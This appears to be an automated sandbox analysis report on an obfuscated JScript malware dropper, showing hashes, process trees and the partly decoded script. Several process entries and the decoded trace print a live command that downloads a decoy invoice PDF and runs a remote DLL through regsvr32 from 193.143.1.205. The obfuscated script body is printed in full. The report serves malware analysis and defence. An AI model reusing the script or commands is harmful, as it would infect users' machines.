SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16862), with CRLF line terminators
Entropy (8bit):	4.903326649049497
TrID:
File name:	2612377921588116147.js
File size:	20'418 bytes
MD5:	d758eafe2702f46aad00e5c1af77949a
SHA1:	4a9f666ca125b7c98f05f8d88e0807d163f58550
SHA256:	0de4afd076d71f14a5dfd99885e0c8dbd96280698be7f082f1d5bac8e048a3b1
SHA512:	9f76d321efe7b2c65365a5073aa133040b3b8b63dcaa2b9ac677bb263751676d5b7529dcb5fb774d5156440fbb4b45ec58cf96ba84866b8d9467f2574452ac13
SSDEEP:	384:/xGMcJst5jNG4PHpXmxP9dz7gpHRJ6HU9:5aJIg4PHpXmxP9dz7gpHRUg
TLSH:	4D922144E6A897D2C2D011606CDA4F8976CC4650C4F0A5F6F98BBA9EAF26B3050F74FD
File Content Preview:	function uswlhngq(){cyfnkhjj=[1031,3079,5127,4103,2055,3072];var tuvrwlgt=this[yjcyd+ebpmay+gzvxeqfq+qyorw+jzpnizu+zkhkkq+rsqbus+vquzyctqq](this[boomd+bipryr+blnwbuda+gzvxeqfq+rwqskittm+yjcyd+vquzyctqq][xrsnn+gzvxeqfq+jzpnizu+ebpmay+vquzyctqq+jzpnizu+fhco

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	23:55:51
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js"
Imagebase:	0x7ff669620000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:55:52
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Imagebase:	0x7ff6311c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:55:52
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:55:52
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:55:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	23:55:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6311c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:55:57
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6387e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:55:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	23:55:57
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:55:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1568,i,8750985277368039934,4885640579780257371,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function uswlhngq() {	uswlhngq() ➔ undefined
1	cyfnkhjj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var tuvrwlgt = this[yjcyd + ebpmay + gzvxeqfq + qyorw + jzpnizu + zkhkkq + rsqbus + vquzyctqq] ( this[boomd + bipryr + blnwbuda + gzvxeqfq + rwqskittm + yjcyd + vquzyctqq][xrsnn + gzvxeqfq + jzpnizu + ebpmay + vquzyctqq + jzpnizu + fhcogw + fgsphg + tpkbc + jzpnizu + blnwbuda + vquzyctqq] ( boomd + bipryr + blnwbuda + gzvxeqfq + rwqskittm + yjcyd + vquzyctqq + aarxdayxi + bipryr + cpezcphc + jzpnizu + dsdqwoiso + dsdqwoiso ) [yavtxvyd + jzpnizu + ckrbi + yavtxvyd + jzpnizu + ebpmay + mkjat] ( kvduwfx + vsjpavw + tdxxcgoo + lhwdi + suznmq + xrsnn + xbofs + yavtxvyd + yavtxvyd + tdxxcgoo + acabgow + auievgt + suznmq + xbofs + bipryr + tdxxcgoo + yavtxvyd + dpqru + xrsnn + segsxkwg + rsqbus + vquzyctqq + gzvxeqfq + segsxkwg + dsdqwoiso + ogooubr + wyckrmp + ebpmay + rsqbus + jzpnizu + dsdqwoiso + dpqru + zkhkkq + rsqbus + vquzyctqq + jzpnizu + gzvxeqfq + rsqbus + ebpmay + vquzyctqq + rwqskittm + segsxkwg + rsqbus + ebpmay + dsdqwoiso + dpqru + lpylkrt + segsxkwg + blnwbuda + ebpmay + dsdqwoiso + jzpnizu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( pwwvriol = 0 ; pwwvriol < cyfnkhjj[dsdqwoiso + jzpnizu + rsqbus + ckrbi + vquzyctqq + cpezcphc] ; ++ pwwvriol )
4	{
5	if ( tuvrwlgt == cyfnkhjj[pwwvriol] )
6	{
7	tuvrwlgt = true;
8	break ;
9	}
10	}
11	if ( tuvrwlgt !== true )
12	this[boomd + bipryr + blnwbuda + gzvxeqfq + rwqskittm + yjcyd + vquzyctqq][aoatngzfx + dgjoxlbuz + rwqskittm + vquzyctqq] ( );
13	this[boomd + bipryr + blnwbuda + gzvxeqfq + rwqskittm + yjcyd + vquzyctqq][xrsnn + gzvxeqfq + jzpnizu + ebpmay + vquzyctqq + jzpnizu + fhcogw + fgsphg + tpkbc + jzpnizu + blnwbuda + vquzyctqq] ( boomd + bipryr + blnwbuda + gzvxeqfq + rwqskittm + yjcyd + vquzyctqq + aarxdayxi + bipryr + cpezcphc + jzpnizu + dsdqwoiso + dsdqwoiso ) [gzvxeqfq + dgjoxlbuz + rsqbus] ( blnwbuda + vdtybbyid + mkjat + ogooubr + ttzzembc + blnwbuda + ogooubr + yjcyd + segsxkwg + nzegg + jzpnizu + gzvxeqfq + qyorw + cpezcphc + jzpnizu + dsdqwoiso + dsdqwoiso + aarxdayxi + jzpnizu + pqvbiod + jzpnizu + ogooubr + mwofoqrpb + xrsnn + segsxkwg + vdtybbyid + vdtybbyid + ebpmay + rsqbus + mkjat + ogooubr + hfirgsu + zkhkkq + rsqbus + lxyiwlz + segsxkwg + oelmbzr + jzpnizu + mwofoqrpb + boomd + jzpnizu + fgsphg + yavtxvyd + jzpnizu + ftsszw + dgjoxlbuz + jzpnizu + qyorw + vquzyctqq + ogooubr + mwofoqrpb + fhcogw + dgjoxlbuz + vquzyctqq + msqtkpide + rwqskittm + dsdqwoiso + jzpnizu + ogooubr + zljtvu + vquzyctqq + jzpnizu + vdtybbyid + yjcyd + zljtvu + dpqru + rwqskittm + rsqbus + lxyiwlz + segsxkwg + rwqskittm + blnwbuda + jzpnizu + aarxdayxi + yjcyd + mkjat + bhcmmde + ogooubr + cpezcphc + vquzyctqq + vquzyctqq + yjcyd + gyhcd + ttzzembc + ttzzembc + cqdrgn + jdzcvzaxg + guqviynqp + aarxdayxi + cqdrgn + cegbj + guqviynqp + aarxdayxi + cqdrgn + aarxdayxi + urluvkow + dkwhbxv + ljtjpq + ttzzembc + rwqskittm + rsqbus + lxyiwlz + segsxkwg + rwqskittm + blnwbuda + jzpnizu + aarxdayxi + yjcyd + cpezcphc + yjcyd + hfirgsu + qyjohw + qyjohw + qyorw + vquzyctqq + ebpmay + gzvxeqfq + vquzyctqq + ogooubr + zljtvu + vquzyctqq + jzpnizu + vdtybbyid + yjcyd + zljtvu + dpqru + rwqskittm + rsqbus + lxyiwlz + segsxkwg + rwqskittm + blnwbuda + jzpnizu + aarxdayxi + yjcyd + mkjat + bhcmmde + qyjohw + qyjohw + blnwbuda + vdtybbyid + mkjat + ogooubr + ttzzembc + blnwbuda + ogooubr + rsqbus + jzpnizu + vquzyctqq + ogooubr + dgjoxlbuz + qyorw + jzpnizu + ogooubr + dpqru + dpqru + cqdrgn + jdzcvzaxg + guqviynqp + aarxdayxi + cqdrgn + cegbj + guqviynqp + aarxdayxi + cqdrgn + aarxdayxi + urluvkow + dkwhbxv + ljtjpq + zjiew + zqjvir + zqjvir + zqjvir + zqjvir + dpqru + mkjat + ebpmay + lxyiwlz + nzegg + nzegg + nzegg + gzvxeqfq + segsxkwg + segsxkwg + vquzyctqq + dpqru + qyjohw + qyjohw + blnwbuda + vdtybbyid + mkjat + ogooubr + ttzzembc + blnwbuda + ogooubr + gzvxeqfq + jzpnizu + ckrbi + qyorw + lxyiwlz + gzvxeqfq + guqviynqp + urluvkow + ogooubr + ttzzembc + qyorw + ogooubr + dpqru + dpqru + cqdrgn + jdzcvzaxg + guqviynqp + aarxdayxi + cqdrgn + cegbj + guqviynqp + aarxdayxi + cqdrgn + aarxdayxi + urluvkow + dkwhbxv + ljtjpq + zjiew + zqjvir + zqjvir + zqjvir + zqjvir + dpqru + mkjat + ebpmay + lxyiwlz + nzegg + nzegg + nzegg + gzvxeqfq + segsxkwg + segsxkwg + vquzyctqq + dpqru + cqdrgn + guqviynqp + urluvkow + guqviynqp + cqdrgn + gwxzkzyo + jdzcvzaxg + jdzcvzaxg + guqviynqp + cqdrgn + guqviynqp + dkwhbxv + ljtjpq + ljtjpq + aarxdayxi + mkjat + dsdqwoiso + dsdqwoiso, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll",0,false) ➔ 0
14	}
15	rwqskittm = "n";
16	rwqskittm = "j";
17	rwqskittm = "Z";
18	rwqskittm = "r";
19	rwqskittm = "T";
20	rwqskittm = "v";
21	rwqskittm = "k";
22	rwqskittm = "t";
23	rwqskittm = "D";
24	rwqskittm = "X";
25	rwqskittm = "R";
26	rwqskittm = "D";
27	rwqskittm = "a";
28	rwqskittm = "S";
29	rwqskittm = "W";
30	rwqskittm = "Y";
31	rwqskittm = "B";
32	rwqskittm = "I";
33	rwqskittm = "p";
34	rwqskittm = "F";
35	rwqskittm = "M";
36	rwqskittm = "z";
37	rwqskittm = "r";
38	rwqskittm = "G";
39	rwqskittm = "q";
40	rwqskittm = "u";
41	rwqskittm = "l";
42	rwqskittm = "Y";
43	rwqskittm = "R";
44	rwqskittm = "J";
45	rwqskittm = "L";
46	rwqskittm = "i";
47	ckrbi = "x";
48	ckrbi = "d";
49	ckrbi = "z";
50	ckrbi = "Z";
51	ckrbi = "A";
52	ckrbi = "N";
53	ckrbi = "Y";
54	ckrbi = "H";
55	ckrbi = "L";
56	ckrbi = "H";
57	ckrbi = "g";
58	ckrbi = "M";
59	ckrbi = "a";
60	ckrbi = "g";
61	ckrbi = "X";
62	ckrbi = "g";
63	ckrbi = "j";
64	ckrbi = "H";
65	ckrbi = "N";
66	ckrbi = "o";
67	ckrbi = "n";
68	ckrbi = "e";
69	ckrbi = "k";
70	ckrbi = "s";
71	ckrbi = "Y";
72	ckrbi = "V";
73	ckrbi = "H";
74	ckrbi = "D";
75	ckrbi = "i";
76	ckrbi = "h";
77	ckrbi = "V";
78	ckrbi = "M";
79	ckrbi = "Z";
80	ckrbi = "k";
81	ckrbi = "Z";
82	ckrbi = "W";
83	ckrbi = "J";
84	ckrbi = "U";
85	ckrbi = "P";
86	ckrbi = "q";
87	ckrbi = "g";
88	ogooubr = "n";
89	ogooubr = "P";
90	ogooubr = "g";
91	ogooubr = "l";
92	ogooubr = "l";
93	ogooubr = "i";
94	ogooubr = "A";
95	ogooubr = "a";
96	ogooubr = "u";
97	ogooubr = "V";
98	ogooubr = "t";
99	ogooubr = "i";
100	ogooubr = "o";
101	ogooubr = "h";
102	ogooubr = "T";
103	ogooubr = "X";
104	ogooubr = "m";
105	ogooubr = "r";
106	ogooubr = "g";
107	ogooubr = "x";
108	ogooubr = "k";
109	ogooubr = " ";
110	vquzyctqq = "R";
111	vquzyctqq = "R";
112	vquzyctqq = "p";
113	vquzyctqq = "n";
114	vquzyctqq = "n";
115	vquzyctqq = "O";
116	vquzyctqq = "t";
117	nzegg = "Y";
118	nzegg = "E";
119	nzegg = "M";
120	nzegg = "g";
121	nzegg = "n";
122	nzegg = "s";
123	nzegg = "T";
124	nzegg = "q";
125	nzegg = "s";
126	nzegg = "P";
127	nzegg = "r";
128	nzegg = "e";
129	nzegg = "j";
130	nzegg = "i";
131	nzegg = "Q";
132	nzegg = "n";
133	nzegg = "A";
134	nzegg = "H";
135	nzegg = "B";
136	nzegg = "g";
137	nzegg = "f";
138	nzegg = "a";
139	nzegg = "L";
140	nzegg = "g";
141	nzegg = "a";
142	nzegg = "m";
143	nzegg = "v";
144	nzegg = "w";
145	nzegg = "l";
146	nzegg = "F";
147	nzegg = "i";
148	nzegg = "b";
149	nzegg = "w";
150	tdxxcgoo = "p";
151	tdxxcgoo = "U";
152	tdxxcgoo = "V";
153	tdxxcgoo = "F";
154	tdxxcgoo = "d";
155	tdxxcgoo = "V";
156	tdxxcgoo = "s";
157	tdxxcgoo = "O";
158	tdxxcgoo = "j";
159	tdxxcgoo = "N";
160	tdxxcgoo = "l";
161	tdxxcgoo = "b";
162	tdxxcgoo = "u";
163	tdxxcgoo = "s";
164	tdxxcgoo = "I";
165	tdxxcgoo = "H";
166	tdxxcgoo = "F";
167	tdxxcgoo = "J";
168	tdxxcgoo = "N";
169	tdxxcgoo = "L";
170	tdxxcgoo = "z";
171	tdxxcgoo = "X";
172	tdxxcgoo = "Z";
173	tdxxcgoo = "D";
174	tdxxcgoo = "d";
175	tdxxcgoo = "j";
176	tdxxcgoo = "d";
177	tdxxcgoo = "U";
178	tdxxcgoo = "k";
179	tdxxcgoo = "n";
180	tdxxcgoo = "a";
181	tdxxcgoo = "H";
182	tdxxcgoo = "E";
183	tdxxcgoo = "j";
184	tdxxcgoo = "X";
185	tdxxcgoo = "R";
186	tdxxcgoo = "u";
187	tdxxcgoo = "v";
188	tdxxcgoo = "E";
189	dpqru = "I";
190	dpqru = "m";
191	dpqru = "O";
192	dpqru = "B";
193	dpqru = "N";
194	dpqru = "\\";
195	rsqbus = "r";
196	rsqbus = "m";
197	rsqbus = "h";
198	rsqbus = "m";
199	rsqbus = "G";
200	rsqbus = "A";
201	rsqbus = "A";
202	rsqbus = "x";
203	rsqbus = "Y";
204	rsqbus = "S";
205	rsqbus = "C";
206	rsqbus = "b";
207	rsqbus = "P";
208	rsqbus = "s";
209	rsqbus = "N";
210	rsqbus = "X";
211	rsqbus = "V";
212	rsqbus = "R";
213	rsqbus = "B";
214	rsqbus = "a";
215	rsqbus = "j";
216	rsqbus = "m";
217	rsqbus = "M";
218	rsqbus = "H";
219	rsqbus = "M";
220	rsqbus = "G";
221	rsqbus = "l";
222	rsqbus = "V";
223	rsqbus = "n";
224	zjiew = "F";
225	zjiew = "E";
226	zjiew = "C";
227	zjiew = "Q";
228	zjiew = "V";
229	zjiew = "j";
230	zjiew = "n";
231	zjiew = "n";
232	zjiew = "E";
233	zjiew = "l";
234	zjiew = "G";
235	zjiew = "R";
236	zjiew = "l";
237	zjiew = "Y";
238	zjiew = "q";
239	zjiew = "A";
240	zjiew = "V";
241	zjiew = "y";
242	zjiew = "L";
243	zjiew = "n";
244	zjiew = "j";
245	zjiew = "@";
246	aarxdayxi = "v";
247	aarxdayxi = "e";
248	aarxdayxi = "V";
249	aarxdayxi = "L";
250	aarxdayxi = "J";
251	aarxdayxi = "D";
252	aarxdayxi = "V";
253	aarxdayxi = "C";
254	aarxdayxi = "I";
255	aarxdayxi = "G";
256	aarxdayxi = "r";
257	aarxdayxi = "r";
258	aarxdayxi = "G";
259	aarxdayxi = "K";
260	aarxdayxi = "j";
261	aarxdayxi = "c";
262	aarxdayxi = "u";
263	aarxdayxi = "D";
264	aarxdayxi = "R";
265	aarxdayxi = "T";
266	aarxdayxi = "B";
267	aarxdayxi = "O";
268	aarxdayxi = "R";
269	aarxdayxi = "U";
270	aarxdayxi = "g";
271	aarxdayxi = "L";
272	aarxdayxi = "x";
273	aarxdayxi = "d";
274	aarxdayxi = "w";
275	aarxdayxi = "y";
276	aarxdayxi = "d";
277	aarxdayxi = "i";
278	aarxdayxi = "e";
279	aarxdayxi = "w";
280	aarxdayxi = "d";
281	aarxdayxi = "N";
282	aarxdayxi = "E";
283	aarxdayxi = ".";
284	gwxzkzyo = "6";
285	ljtjpq = "V";
286	ljtjpq = "j";
287	ljtjpq = "H";
288	ljtjpq = "s";
289	ljtjpq = "h";
290	ljtjpq = "t";
291	ljtjpq = "x";
292	ljtjpq = "E";
293	ljtjpq = "g";
294	ljtjpq = "m";
295	ljtjpq = "W";
296	ljtjpq = "a";
297	ljtjpq = "e";
298	ljtjpq = "o";
299	ljtjpq = "n";
300	ljtjpq = "j";
301	ljtjpq = "r";
302	ljtjpq = "v";
303	ljtjpq = "n";
304	ljtjpq = "R";
305	ljtjpq = "R";
306	ljtjpq = "t";
307	ljtjpq = "d";
308	ljtjpq = "O";
309	ljtjpq = "U";
310	ljtjpq = "R";
311	ljtjpq = "G";
312	ljtjpq = "Z";
313	ljtjpq = "M";
314	ljtjpq = "w";
315	ljtjpq = "n";
316	ljtjpq = "u";
317	ljtjpq = "G";
318	ljtjpq = "v";
319	ljtjpq = "t";
320	ljtjpq = "N";
321	ljtjpq = "N";
322	ljtjpq = "U";
323	ljtjpq = "5";
324	fgsphg = "f";
325	fgsphg = "W";
326	fgsphg = "v";
327	fgsphg = "X";
328	fgsphg = "W";
329	fgsphg = "l";
330	fgsphg = "B";
331	fgsphg = "m";
332	fgsphg = "K";
333	fgsphg = "l";
334	fgsphg = "j";
335	fgsphg = "J";
336	fgsphg = "C";
337	fgsphg = "W";
338	fgsphg = "I";
339	fgsphg = "V";
340	fgsphg = "m";
341	fgsphg = "c";
342	fgsphg = "y";
343	fgsphg = "m";
344	fgsphg = "i";
345	fgsphg = "t";
346	fgsphg = "A";
347	fgsphg = "E";
348	fgsphg = "D";
349	fgsphg = "R";
350	fgsphg = "Z";
351	fgsphg = "o";
352	fgsphg = "V";
353	fgsphg = "G";
354	fgsphg = "P";
355	fgsphg = "E";
356	fgsphg = "C";
357	fgsphg = "u";
358	fgsphg = "W";
359	fgsphg = "I";
360	fgsphg = "b";
361	gyhcd = "s";
362	gyhcd = "K";
363	gyhcd = "s";
364	gyhcd = "U";
365	gyhcd = "Y";
366	gyhcd = ":";
367	kvduwfx = "w";
368	kvduwfx = "A";
369	kvduwfx = "V";
370	kvduwfx = "h";
371	kvduwfx = "i";
372	kvduwfx = "S";
373	kvduwfx = "n";
374	kvduwfx = "P";
375	kvduwfx = "t";
376	kvduwfx = "K";
377	kvduwfx = "E";
378	kvduwfx = "f";
379	kvduwfx = "G";
380	kvduwfx = "j";
381	kvduwfx = "I";
382	kvduwfx = "K";
383	kvduwfx = "z";
384	kvduwfx = "P";
385	kvduwfx = "C";
386	kvduwfx = "T";
387	kvduwfx = "f";
388	kvduwfx = "c";
389	kvduwfx = "e";
390	kvduwfx = "N";
391	kvduwfx = "c";
392	kvduwfx = "y";
393	kvduwfx = "g";
394	kvduwfx = "k";
395	kvduwfx = "M";
396	kvduwfx = "P";
397	kvduwfx = "n";
398	kvduwfx = "a";
399	kvduwfx = "C";
400	kvduwfx = "q";
401	kvduwfx = "X";
402	kvduwfx = "M";
403	kvduwfx = "H";
404	acabgow = "j";
405	acabgow = "t";
406	acabgow = "w";
407	acabgow = "m";
408	acabgow = "b";
409	acabgow = "v";
410	acabgow = "q";
411	acabgow = "d";
412	acabgow = "O";
413	acabgow = "Q";
414	acabgow = "x";
415	acabgow = "m";
416	acabgow = "y";
417	acabgow = "G";
418	acabgow = "y";
419	acabgow = "l";
420	acabgow = "x";
421	acabgow = "e";
422	acabgow = "S";
423	acabgow = "H";
424	acabgow = "w";
425	acabgow = "L";
426	acabgow = "q";
427	acabgow = "a";
428	acabgow = "j";
429	acabgow = "S";
430	acabgow = "T";
431	acabgow = "S";
432	acabgow = "n";
433	acabgow = "U";
434	acabgow = "e";
435	acabgow = "N";
436	fhcogw = "q";
437	fhcogw = "G";
438	fhcogw = "C";
439	fhcogw = "x";
440	fhcogw = "n";
441	fhcogw = "R";
442	fhcogw = "K";
443	fhcogw = "g";
444	fhcogw = "O";
445	dkwhbxv = "x";
446	dkwhbxv = "C";
447	dkwhbxv = "j";
448	dkwhbxv = "W";
449	dkwhbxv = "R";
450	dkwhbxv = "n";
451	dkwhbxv = "x";
452	dkwhbxv = "q";
453	dkwhbxv = "B";
454	dkwhbxv = "B";
455	dkwhbxv = "R";
456	dkwhbxv = "0";
457	vsjpavw = "u";
458	vsjpavw = "f";
459	vsjpavw = "P";
460	vsjpavw = "k";
461	vsjpavw = "I";
462	vsjpavw = "h";
463	vsjpavw = "J";
464	vsjpavw = "x";
465	vsjpavw = "N";
466	vsjpavw = "M";
467	vsjpavw = "k";
468	vsjpavw = "y";
469	vsjpavw = "O";
470	vsjpavw = "O";
471	vsjpavw = "N";
472	vsjpavw = "G";
473	vsjpavw = "U";
474	vsjpavw = "U";
475	vsjpavw = "L";
476	vsjpavw = "J";
477	vsjpavw = "X";
478	vsjpavw = "K";
479	wyckrmp = "R";
480	wyckrmp = "G";
481	wyckrmp = "w";
482	wyckrmp = "p";
483	wyckrmp = "d";
484	wyckrmp = "D";
485	wyckrmp = "Q";
486	wyckrmp = "p";
487	wyckrmp = "F";
488	wyckrmp = "u";
489	wyckrmp = "q";
490	wyckrmp = "Y";
491	wyckrmp = "u";
492	wyckrmp = "A";
493	wyckrmp = "s";
494	wyckrmp = "v";
495	wyckrmp = "n";
496	wyckrmp = "I";
497	wyckrmp = "x";
498	wyckrmp = "B";
499	wyckrmp = "u";
500	wyckrmp = "c";
501	wyckrmp = "f";
502	wyckrmp = "I";
503	wyckrmp = "d";
504	wyckrmp = "V";
505	wyckrmp = "Q";
506	wyckrmp = "s";
507	wyckrmp = "W";
508	wyckrmp = "i";
509	wyckrmp = "D";
510	wyckrmp = "f";
511	wyckrmp = "P";
512	jdzcvzaxg = "a";
513	jdzcvzaxg = "t";
514	jdzcvzaxg = "L";
515	jdzcvzaxg = "X";
516	jdzcvzaxg = "P";
517	jdzcvzaxg = "W";
518	jdzcvzaxg = "Q";
519	jdzcvzaxg = "Q";
520	jdzcvzaxg = "d";
521	jdzcvzaxg = "j";
522	jdzcvzaxg = "t";
523	jdzcvzaxg = "E";
524	jdzcvzaxg = "z";
525	jdzcvzaxg = "s";
526	jdzcvzaxg = "W";
527	jdzcvzaxg = "m";
528	jdzcvzaxg = "Z";
529	jdzcvzaxg = "Z";
530	jdzcvzaxg = "d";
531	jdzcvzaxg = "n";
532	jdzcvzaxg = "y";
533	jdzcvzaxg = "k";
534	jdzcvzaxg = "P";
535	jdzcvzaxg = "g";
536	jdzcvzaxg = "m";
537	jdzcvzaxg = "R";
538	jdzcvzaxg = "h";
539	jdzcvzaxg = "E";
540	jdzcvzaxg = "p";
541	jdzcvzaxg = "Z";
542	jdzcvzaxg = "I";
543	jdzcvzaxg = "H";
544	jdzcvzaxg = "o";
545	jdzcvzaxg = "z";
546	jdzcvzaxg = "K";
547	jdzcvzaxg = "c";
548	jdzcvzaxg = "U";
549	jdzcvzaxg = "H";
550	jdzcvzaxg = "9";
551	jzpnizu = "q";
552	jzpnizu = "S";
553	jzpnizu = "o";
554	jzpnizu = "s";
555	jzpnizu = "d";
556	jzpnizu = "c";
557	jzpnizu = "z";
558	jzpnizu = "K";
559	jzpnizu = "t";
560	jzpnizu = "E";
561	jzpnizu = "e";
562	jzpnizu = "p";
563	jzpnizu = "I";
564	jzpnizu = "B";
565	jzpnizu = "t";
